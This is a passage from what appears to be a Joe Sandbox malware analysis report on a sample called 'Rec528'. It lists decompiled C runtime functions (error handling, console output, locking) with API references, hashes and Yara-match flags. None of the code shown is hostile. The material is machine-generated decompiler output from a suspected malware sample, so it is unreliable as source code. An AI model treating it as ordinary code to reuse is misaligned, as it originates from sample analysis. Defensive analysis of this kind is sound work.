										if(__eflags != 0) {
											__eflags = E0041E75F(__eflags,  *0x43d1c8, _t54);
											if(__eflags != 0) {
												E0041C911(_t54, 0x4508d8);
												E0041E238(0);
												goto L45;
											} else {
												_t40 = 0;
												E0041E75F(__eflags,  *0x43d1c8, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E0041E75F(0,  *0x43d1c8, 0);
											_push(0);
											L41:
											E0041E238();
											goto L36;
										}
									}
								} else {
									_t54 = E0041E720(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x43d1c8; // 0x7
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x0041cae3
0x0041cae3
0x0041caee
0x0041caf0
0x0041caf5
0x0041caf8
0x0041cb16
0x0041cb19
0x0041cb1e
0x0041cb20
0x00000000
0x0041cb22
0x0041cb2e
0x0041cb31
0x0041cb32
0x0041cb34
0x0041cb59
0x0041cb5b
0x0041cb74
0x0041cb7b
0x0041cb80
0x00000000
0x0041cb5d
0x0041cb5d
0x0041cb66
0x0041cb6b
0x00000000
0x0041cb6b
0x0041cb36
0x0041cb36
0x0041cb36
0x0041cb3f
0x0041cb44
0x0041cb45
0x0041cb45
0x0041cb4a
0x00000000
0x0041cb4a
0x0041cb34
0x0041cafa
0x0041cb00
0x0041cb04
0x0041cb11
0x00000000
0x0041cb06
0x0041cb09
0x0041cb83
0x0041cb83
0x0041cb0b
0x0041cb0b
0x0041cb0b
0x0041cb0d
0x0041cb0d
0x0041cb0d
0x0041cb09
0x0041cb04
0x0041cb86
0x0041cb8e
0x0041cb90
0x0041cb92
0x0041cb9a
0x0041cb9f
0x0041cba0
0x0041cba5
0x0041cba6
0x0041cba9
0x0041cbc3
0x0041cbc6
0x0041cbcb
0x0041cbcd
0x00000000
0x0041cbcf
0x0041cbdb
0x0041cbde
0x0041cbdf
0x0041cbe1
0x0041cc04
0x0041cc06
0x0041cc1d
0x0041cc24
0x0041cc29
0x00000000
0x0041cc08
0x0041cc0f
0x0041cc14
0x00000000
0x0041cc14
0x0041cbe3
0x0041cbea
0x0041cbef
0x0041cbf0
0x0041cbf0
0x0041cbf5
0x00000000
0x0041cbf5
0x0041cbe1
0x0041cbab
0x0041cbb1
0x0041cbb3
0x0041cbb5
0x0041cbbe
0x00000000
0x0041cbb7
0x0041cbb7
0x0041cbba
0x0041cc34
0x0041cc34
0x0041cc39
0x0041cc3c
0x0041cc3d
0x0041cc3e
0x0041cc45
0x0041cc47
0x0041cc4c
0x0041cc4f
0x0041cc6d
0x0041cc70
0x0041cc75
0x0041cc77
0x00000000
0x0041cc79
0x0041cc85
0x0041cc89
0x0041cc8b
0x0041ccb0
0x0041ccb2
0x0041cccb
0x0041ccd2
0x00000000
0x0041ccb4
0x0041ccb4
0x0041ccbd
0x0041ccc2
0x00000000
0x0041ccc2
0x0041cc8d
0x0041cc8d
0x0041cc8d
0x0041cc96
0x0041cc9b
0x0041cc9c
0x0041cc9c
0x00000000
0x0041cca1
0x0041cc8b
0x0041cc51
0x0041cc57
0x0041cc59
0x0041cc5b
0x0041cc68
0x00000000
0x0041cc5d
0x0041cc5d
0x0041cc60
0x0041ccda
0x0041ccda
0x0041cc62
0x0041cc62
0x0041cc62
0x0041cc62
0x0041cc64
0x0041cc64
0x0041cc64
0x0041cc60
0x0041cc5b
0x0041ccdd
0x0041cce5
0x0041cce7
0x0041cce7
0x0041ccee
0x0041cbbc
0x0041cc2c
0x0041cc2c
0x0041cc2e
0x00000000
0x0041cc30
0x0041cc33
0x0041cc33
0x0041cc2e
0x0041cbba
0x0041cbb5
0x0041cb94
0x0041cb99
0x0041cb99

APIs

GetLastError.KERNEL32(?,?,?,004135E1,?,00000000,00405D9E,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000), ref: 0041CAE8
_free.LIBCMT ref: 0041CB45
_free.LIBCMT ref: 0041CB7B
SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000,?,00405D9E,?), ref: 0041CB86

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3abb266c486aac477022de17da07e4251c7c1e35108d8638f05dcf1e3eb67359
Instruction ID: d9530a12c964a4ca29fce7f7263f5b3a3d50e089d25f9198a1d0a037ee018b8b
Opcode Fuzzy Hash: 3abb266c486aac477022de17da07e4251c7c1e35108d8638f05dcf1e3eb67359
Instruction Fuzzy Hash: D8110A766881002BEB152777BCC7DEB21199BC0778724023BF524C31E2DE6D9CC2462D

Uniqueness

Uniqueness Score: -1.00%

Function 10006E2C Relevance: 6.1, APIs: 4, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E10006E2C(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x10017050; // 0xa
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E1000754F(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E10007A37("true", 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E1000754F(__eflags,  *0x10017050, _t51);
							if(__eflags != 0) {
								E10006C2E(_t51, 0x10018340);
								E100079CC(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E1000754F(__eflags,  *0x10017050, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E1000754F(0,  *0x10017050, 0);
							_push(0);
							L9:
							E100079CC();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E10007510(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x10017050; // 0xa
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E100068B8(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x10017050; // 0xa
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E1000754F(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E10007A37("true", 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E1000754F(__eflags,  *0x10017050, _t60);
								if(__eflags != 0) {
									E10006C2E(_t60, 0x10018340);
									E100079CC(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E1000754F(__eflags,  *0x10017050, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E1000754F(__eflags,  *0x10017050, _t20);
								_push(_t60);
								L25:
								E100079CC();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E10007510(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x10017050; // 0xa
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E100068B8(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x10017050; // 0xa
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E1000754F(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E10007A37("true", 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E1000754F(__eflags,  *0x10017050, _t54);
											if(__eflags != 0) {
												E10006C2E(_t54, 0x10018340);
												E100079CC(0);
												goto L45;
											} else {
												_t40 = 0;
												E1000754F(__eflags,  *0x10017050, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E1000754F(0,  *0x10017050, 0);
											_push(0);
											L41:
											E100079CC();
											goto L36;
										}
									}
								} else {
									_t54 = E10007510(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x10017050; // 0xa
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x10006e2c
0x10006e2c
0x10006e37
0x10006e39
0x10006e3e
0x10006e41
0x10006e5f
0x10006e62
0x10006e67
0x10006e69
0x00000000
0x10006e6b
0x10006e77
0x10006e7a
0x10006e7b
0x10006e7d
0x10006ea2
0x10006ea4
0x10006ebd
0x10006ec4
0x10006ec9
0x00000000
0x10006ea6
0x10006ea6
0x10006eaf
0x10006eb4
0x00000000
0x10006eb4
0x10006e7f
0x10006e7f
0x10006e7f
0x10006e88
0x10006e8d
0x10006e8e
0x10006e8e
0x10006e93
0x00000000
0x10006e93
0x10006e7d
0x10006e43
0x10006e49
0x10006e4d
0x10006e5a
0x00000000
0x10006e4f
0x10006e52
0x10006ecc
0x10006ecc
0x10006e54
0x10006e54
0x10006e54
0x10006e56
0x10006e56
0x10006e56
0x10006e52
0x10006e4d
0x10006ecf
0x10006ed7
0x10006ed9
0x10006edb
0x10006ee3
0x10006ee8
0x10006ee9
0x10006eee
0x10006eef
0x10006ef2
0x10006f0c
0x10006f0f
0x10006f14
0x10006f16
0x00000000
0x10006f18
0x10006f24
0x10006f27
0x10006f28
0x10006f2a
0x10006f4d
0x10006f4f
0x10006f66
0x10006f6d
0x10006f72
0x00000000
0x10006f51
0x10006f58
0x10006f5d
0x00000000
0x10006f5d
0x10006f2c
0x10006f33
0x10006f38
0x10006f39
0x10006f39
0x10006f3e
0x00000000
0x10006f3e
0x10006f2a
0x10006ef4
0x10006efa
0x10006efc
0x10006efe
0x10006f07
0x00000000
0x10006f00
0x10006f00
0x10006f03
0x10006f7d
0x10006f7d
0x10006f82
0x10006f85
0x10006f86
0x10006f87
0x10006f8e
0x10006f90
0x10006f95
0x10006f98
0x10006fb6
0x10006fb9
0x10006fbe
0x10006fc0
0x00000000
0x10006fc2
0x10006fce
0x10006fd2
0x10006fd4
0x10006ff9
0x10006ffb
0x10007014
0x1000701b
0x00000000
0x10006ffd
0x10006ffd
0x10007006
0x1000700b
0x00000000
0x1000700b
0x10006fd6
0x10006fd6
0x10006fd6
0x10006fdf
0x10006fe4
0x10006fe5
0x10006fe5
0x00000000
0x10006fea
0x10006fd4
0x10006f9a
0x10006fa0
0x10006fa2
0x10006fa4
0x10006fb1
0x00000000
0x10006fa6
0x10006fa6
0x10006fa9
0x10007023
0x10007023
0x10006fab
0x10006fab
0x10006fab
0x10006fab
0x10006fad
0x10006fad
0x10006fad
0x10006fa9
0x10006fa4
0x10007026
0x1000702e
0x10007030
0x10007030
0x10007037
0x10006f05
0x10006f75
0x10006f75
0x10006f77
0x00000000
0x10006f79
0x10006f7c
0x10006f7c
0x10006f77
0x10006f03
0x10006efe
0x10006edd
0x10006ee2
0x10006ee2

APIs

GetLastError.KERNEL32(?,?,00000000,1000596F,?,10001F08,00000000), ref: 10006E31
_free.LIBCMT ref: 10006E8E
_free.LIBCMT ref: 10006EC4
SetLastError.KERNEL32(00000000,0000000A,000000FF,?,?,00000000,1000596F,?,10001F08,00000000), ref: 10006ECF

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: ea4f2d87117ff59a2be36ccf2e5a01138648006dcc0a70dc7a975fe548c38cac
Instruction ID: 37f432e8f1c3d4540bc3d155630daf76477036d6b2592ad693c1ee1dffc85185
Opcode Fuzzy Hash: ea4f2d87117ff59a2be36ccf2e5a01138648006dcc0a70dc7a975fe548c38cac
Instruction Fuzzy Hash: A611A33A600791AAF612D778CC81E5F269BFBC96F97350224F52C821EDDE75DC054620

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC3A Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041CC3A(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x43d1c8; // 0x7
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0041E75F(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E0041E1DB("true", 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E0041E75F(__eflags,  *0x43d1c8, _t18);
							if(__eflags != 0) {
								E0041C911(_t18, 0x4508d8);
								E0041E238(0);
								goto L13;
							} else {
								_t13 = 0;
								E0041E75F(__eflags,  *0x43d1c8, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E0041E75F(0,  *0x43d1c8, 0);
							_push(0);
							L9:
							E0041E238();
							goto L4;
						}
					}
				} else {
					_t18 = E0041E720(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x43d1c8; // 0x7
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x0041cc45
0x0041cc47
0x0041cc4c
0x0041cc4f
0x0041cc6d
0x0041cc70
0x0041cc75
0x0041cc77
0x00000000
0x0041cc79
0x0041cc85
0x0041cc89
0x0041cc8b
0x0041ccb0
0x0041ccb2
0x0041cccb
0x0041ccd2
0x00000000
0x0041ccb4
0x0041ccb4
0x0041ccbd
0x0041ccc2
0x00000000
0x0041ccc2
0x0041cc8d
0x0041cc8d
0x0041cc8d
0x0041cc96
0x0041cc9b
0x0041cc9c
0x0041cc9c
0x00000000
0x0041cca1
0x0041cc8b
0x0041cc51
0x0041cc57
0x0041cc5b
0x0041cc68
0x00000000
0x0041cc5d
0x0041cc60
0x0041ccda
0x0041ccda
0x0041cc62
0x0041cc62
0x0041cc62
0x0041cc64
0x0041cc64
0x0041cc64
0x0041cc60
0x0041cc5b
0x0041ccdd
0x0041cce5
0x0041ccee

APIs

GetLastError.KERNEL32(?,?,?,00413576,0041ECF2,?,?,0040FF1B,?,?,?,?,?,00403757,?,?), ref: 0041CC3F
_free.LIBCMT ref: 0041CC9C
_free.LIBCMT ref: 0041CCD2
SetLastError.KERNEL32(00000000,00000007,000000FF,?,0040FF1B,?,?,?,?,?,00403757,?,?,?), ref: 0041CCDD

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: e8b5fd6ac6bcdbc63dd879f339bbd85be9c8e0b1b4a1cafcd1e0970895d8910c
Instruction ID: 80ee3ef2732eae6bbbdeb317a1c4cb0d19d08880bddb464d984e7f18592ca91e
Opcode Fuzzy Hash: e8b5fd6ac6bcdbc63dd879f339bbd85be9c8e0b1b4a1cafcd1e0970895d8910c
Instruction Fuzzy Hash: B811E9762842002ADB152677ADC5DA7225A9BC0778724023BF92C932E2EE698CC2566D

Uniqueness

Uniqueness Score: -1.00%

Function 10006F83 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E10006F83(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x10017050; // 0xa
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E1000754F(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E10007A37("true", 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E1000754F(__eflags,  *0x10017050, _t18);
							if(__eflags != 0) {
								E10006C2E(_t18, 0x10018340);
								E100079CC(0);
								goto L13;
							} else {
								_t13 = 0;
								E1000754F(__eflags,  *0x10017050, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E1000754F(0,  *0x10017050, 0);
							_push(0);
							L9:
							E100079CC();
							goto L4;
						}
					}
				} else {
					_t18 = E10007510(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x10017050; // 0xa
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x10006f8e
0x10006f90
0x10006f95
0x10006f98
0x10006fb6
0x10006fb9
0x10006fbe
0x10006fc0
0x00000000
0x10006fc2
0x10006fce
0x10006fd2
0x10006fd4
0x10006ff9
0x10006ffb
0x10007014
0x1000701b
0x00000000
0x10006ffd
0x10006ffd
0x10007006
0x1000700b
0x00000000
0x1000700b
0x10006fd6
0x10006fd6
0x10006fd6
0x10006fdf
0x10006fe4
0x10006fe5
0x10006fe5
0x00000000
0x10006fea
0x10006fd4
0x10006f9a
0x10006fa0
0x10006fa4
0x10006fb1
0x00000000
0x10006fa6
0x10006fa9
0x10007023
0x10007023
0x10006fab
0x10006fab
0x10006fab
0x10006fad
0x10006fad
0x10006fad
0x10006fa9
0x10006fa4
0x10007026
0x1000702e
0x10007037

APIs

GetLastError.KERNEL32(?,?,?,100058BB,100079F2,?,?,10006680), ref: 10006F88
_free.LIBCMT ref: 10006FE5
_free.LIBCMT ref: 1000701B
SetLastError.KERNEL32(00000000,0000000A,000000FF,?,?,100058BB,100079F2,?,?,10006680), ref: 10007026

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: e873d5b17466ed3cf03b25e5c499cc37b71d907794f49542c6a6f2519374218d
Instruction ID: eab0be55931113b92519ce8a2baaf2f7ce3ddd718b61ac15db367030395268ba
Opcode Fuzzy Hash: e873d5b17466ed3cf03b25e5c499cc37b71d907794f49542c6a6f2519374218d
Instruction Fuzzy Hash: 0A112F36B04612AAF602D7789CC5E6F265AFBC95F57350234F52C931E9DE75DC014120

Uniqueness

Uniqueness Score: -1.00%

Function 0043F031 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043F04D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043F066

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: bbd0fb90c6f543932e03e6b2f5c9411f0a441a56121ea3fd60b0444541a7708f
Instruction ID: 2f914ca0b150f54681f4df5d10c51623e56e86357141abab0502ee71ee4cbc58
Opcode Fuzzy Hash: bbd0fb90c6f543932e03e6b2f5c9411f0a441a56121ea3fd60b0444541a7708f
Instruction Fuzzy Hash: 80012D33D083119DA62967BDBC855AB2B65DB1C378F20133FF620902F2EF594C19914C

Uniqueness

Uniqueness Score: -1.00%

Function 0042B772 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042B772(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x43da90, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E0042B75B();
					E0042B71D();
					_t13 = WriteConsoleW( *0x43da90, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x0042b78f
0x0042b793
0x0042b7a0
0x0042b7a5
0x0042b7c0
0x0042b7c0
0x0042b7c6

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,00000000,00000000,00000000,?,0042A476,00000000,?,00000000,00000000,?,00420B12,?,00000000,00000000), ref: 0042B789
GetLastError.KERNEL32(?,0042A476,00000000,?,00000000,00000000,?,00420B12,?,00000000,00000000,?,00000000,?,0042105E,?), ref: 0042B795

Part of subcall function 0042B75B: CloseHandle.KERNEL32(FFFFFFFE,0042B7A5,?,0042A476,00000000,?,00000000,00000000,?,00420B12,?,00000000,00000000,?,00000000), ref: 0042B76B

___initconout.LIBCMT ref: 0042B7A5

Part of subcall function 0042B71D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0042B74C,0042A463,00000000,?,00420B12,?,00000000,00000000,?), ref: 0042B730

WriteConsoleW.KERNEL32(00000000,0000000C,00000000,00000000,?,0042A476,00000000,?,00000000,00000000,?,00420B12,?,00000000,00000000,?), ref: 0042B7BA

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3771de78c200026101a5c29d47a2f31da0f5e9a11cf076d30a3b181c11986b3a
Instruction ID: 9d8e1022ac940f47ec700f85471ba7017c9ab44ced289d62b3bb974cafd52c40
Opcode Fuzzy Hash: 3771de78c200026101a5c29d47a2f31da0f5e9a11cf076d30a3b181c11986b3a
Instruction Fuzzy Hash: E3F03736600129BBCF222FD2EC05D9A3F26FF847A0F444035F90996231C7328830ABD8

Uniqueness

Uniqueness Score: -1.00%

Function 1000CCB2 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000CCB2(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x10017850, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E1000CC9B();
					E1000CC5D();
					_t13 = WriteConsoleW( *0x10017850, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x1000cccf
0x1000ccd3
0x1000cce0
0x1000cce5
0x1000cd00
0x1000cd00
0x1000cd06

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,1000C778,00000000,?,00000000,00000000,?,1000BA3F,?,?,00000000), ref: 1000CCC9
GetLastError.KERNEL32(?,1000C778,00000000,?,00000000,00000000,?,1000BA3F,?,?,00000000,?,00000000,?,1000BF8B,00000020), ref: 1000CCD5

Part of subcall function 1000CC9B: CloseHandle.KERNEL32(FFFFFFFE,1000CCE5,?,1000C778,00000000,?,00000000,00000000,?,1000BA3F,?,?,00000000,?,00000000), ref: 1000CCAB

___initconout.LIBCMT ref: 1000CCE5

Part of subcall function 1000CC5D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CC8C,1000C765,00000000,?,1000BA3F,?,?,00000000,?), ref: 1000CC70

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,1000C778,00000000,?,00000000,00000000,?,1000BA3F,?,?,00000000,?), ref: 1000CCFA

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c7f011bfc6f33b9e8bad2378bc25398f3ba466d7650b7ac976f56426f8d18ac9
Instruction ID: 715ce5c9736b7f91a95e601ba6ddcc69c3ee09774bd4adcea20440f8734e0ff2
Opcode Fuzzy Hash: c7f011bfc6f33b9e8bad2378bc25398f3ba466d7650b7ac976f56426f8d18ac9
Instruction Fuzzy Hash: 96F0AC36541269BBEB229FA5CC4DE897FA6FB493E1F158014FA1995120CA72D820DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040EF50(long _a4) {
				long _t3;
				intOrPtr* _t7;

				_t7 =  *0x450514;
				if(_t7 == 0) {
					LeaveCriticalSection(0x4504fc);
					_t3 = WaitForSingleObjectEx( *0x4504f8, _a4, 0);
					EnterCriticalSection(0x4504fc);
					return _t3;
				}
				 *0x42e234(0x4504f4, 0x4504fc, _a4);
				return  *_t7();
			}

0x0040ef54
0x0040ef5c
0x0040ef7d
0x0040ef8e
0x0040ef95
0x00000000
0x0040ef95
0x0040ef6d
0x00000000

APIs

SleepConditionVariableCS.KERNELBASE(?,0040EEED,00000064), ref: 0040EF73
LeaveCriticalSection.KERNEL32(004504FC,004063FC,?,0040EEED,00000064,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF7D
WaitForSingleObjectEx.KERNEL32(004063FC,00000000,?,0040EEED,00000064,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF8E
EnterCriticalSection.KERNEL32(004504FC,?,0040EEED,00000064,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF95

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: f64a1fe2d3c08a56fcd9346185c77cb8d93b1cbc53ddc582fa2c2fd8cd520f41
Instruction ID: e65397192a9a5e28f2c9c87ec05855080aaf69143aa33e358c3b9ad81d9fb2d4
Opcode Fuzzy Hash: f64a1fe2d3c08a56fcd9346185c77cb8d93b1cbc53ddc582fa2c2fd8cd520f41
Instruction Fuzzy Hash: 16E0D835781225FBC7212F52EC08AAE7F18EF06712B404032FF4566262CB7468228FDD

Uniqueness

Uniqueness Score: -1.00%

Function 0041ABE7 Relevance: 6.0, APIs: 4, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

